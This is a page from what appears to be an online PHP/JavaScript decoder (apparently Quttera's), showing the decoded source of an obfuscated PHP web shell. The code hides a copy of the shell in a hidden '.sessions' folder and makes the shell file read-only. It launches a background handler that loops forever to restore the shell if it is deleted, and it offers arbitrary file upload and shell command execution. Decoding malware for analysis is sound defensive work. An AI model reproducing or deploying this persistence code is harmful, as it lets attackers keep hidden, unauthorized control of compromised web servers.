Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


if (isset($_GET["lockshell"])) {
    $utqmnnk = "curFile";
    $jknnjceqxq = "TmpNames";
    ${"GLOBALS"}["qmlakymll"] = "TmpNames";
    $isohmvpx = "curFile";
    $zvtyjjr = "hndlers";
    ${"GLOBALS"}["ytpsdrzovm"] = "TmpNames";
    $dbpnkmsfi = "fungsi";
    $bdoupnyyd = "TmpNames";
    ${"GLOBALS"}["utpijttxc"] = "curFile";
    ${"GLOBALS"}["pkbruqy"] = "TmpNames";
    ${"GLOBALS"}["jmvkaguf"] = "fungsi";
    ${"GLOBALS"}["xhlfiasj"] = "fungsi";
    $ynojlolnjc = "curFile";
    ${${"GLOBALS"}["vfuhqrqrce"]} = trim(basename($_SERVER["SCRIPT_FILENAME"]));
    ${${"GLOBALS"}["nfodbdej"]} = ${${"GLOBALS"}["snxjpduol"]}[31]();
    if (file_exists(${${"GLOBALS"}["pkbruqy"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${$utqmnnk}) . "-handler")) && file_exists(${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["xhlfiasj"]}[0]() . remove_dot(${$ynojlolnjc}) . "-text"))) {
        ${"GLOBALS"}["bmvgwnxbcio"] = "curFile";
        ${"GLOBALS"}["cmtlkbi"] = "curFile";
        ${"GLOBALS"}["awjjksll"] = "TmpNames";
        $btcufyjqga = "fungsi";
        cmd("rm -rf " . ${${"GLOBALS"}["awjjksll"]} . "/.sessions/." . base64_encode(${$btcufyjqga}[0]() . remove_dot(${${"GLOBALS"}["bmvgwnxbcio"]}) . "-text"));
        cmd("rm -rf " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["cmtlkbi"]}) . "-handler"));
    }
    $enznadbms = "curFile";
    ${"GLOBALS"}["adfvwfpqx"] = "handler";
    $jadnlsj = "curFile";
    mkdir(${${"GLOBALS"}["qmlakymll"]} . "/.sessions");
    cmd("cp $curFile " . ${$jknnjceqxq} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-text"));
    $ehhejlebpl = "fungsi";
    chmod(${${"GLOBALS"}["vfuhqrqrce"]}, 0444);
    $lkbiqkuwg = "fungsi";
    ${${"GLOBALS"}["adfvwfpqx"]} = "\n\n@ini_set("max_execution_time\", 0);\nwhile (True){\n    if (!file_exists("" . __DIR__ . "\")){\n        mkdir("" . __DIR__ . "\");\n    }\n    if (!file_exists(\"" . ${$lkbiqkuwg}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "")){\n        \$text = base64_encode(file_get_contents(\"" . ${${"GLOBALS"}["ytpsdrzovm"]} . "/.sessions/." . base64_encode(${$ehhejlebpl}[0]() . remove_dot(${$jadnlsj}) . "-text") . ""));\n        file_put_contents(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["vfuhqrqrce"]} . "", base64_decode(\$text));\n    }\n    if (gecko_perm(\"" . ${$dbpnkmsfi}[0]() . "/" . ${$enznadbms} . "\") != 0444){\n        chmod(\"" . ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${$isohmvpx} . "", 0444);\n    }\n}\n\nfunction gecko_perm(\$flename){\n    return substr(sprintf("%o\", fileperms(\$flename)), -4);\n}\n";
    $nbxxth = "hndlers";
    ${$zvtyjjr} = ${${"GLOBALS"}["jmvkaguf"]}[28](${$bdoupnyyd} . "/.sessions/." . base64_encode(${${"GLOBALS"}["snxjpduol"]}[0]() . remove_dot(${${"GLOBALS"}["utpijttxc"]}) . "-handler") . "", ${${"GLOBALS"}["vogxys"]});
    if (${$nbxxth}) {
        ${"GLOBALS"}["crgdxzpu"] = "fungsi";
        cmd("php " . ${${"GLOBALS"}["nfodbdej"]} . "/.sessions/." . base64_encode(${${"GLOBALS"}["crgdxzpu"]}[0]() . remove_dot(${${"GLOBALS"}["vfuhqrqrce"]}) . "-handler") . " > /dev/null 2>/dev/null &");
    } else {
        failed();
    }
}
if (isset($_POST["gecko-up-submit"])) {
    $ovodrch = "fungsi";
    ${"GLOBALS"}["dblstedt"] = "tmpName";
    ${"GLOBALS"}["ykovngbq"] = "tmpName";
    ${${"GLOBALS"}["tskfcwedkdet"]} = $_FILES["gecko-upload"]["name"];
    ${${"GLOBALS"}["ykovngbq"]} = $_FILES["gecko-upload"]["tmp_name"];
    if (${$ovodrch}[29](${${"GLOBALS"}["dblstedt"]}, ${${"GLOBALS"}["snxjpduol"]}[0]() . "/" . ${${"GLOBALS"}["tskfcwedkdet"]})) {
        success();
    } else {
        failed();
    }
}
if ($_GET["logout"] == True) {
    session_destroy();
    session_unset();
    success();
}



© 2023 Quttera Ltd. All rights reserved.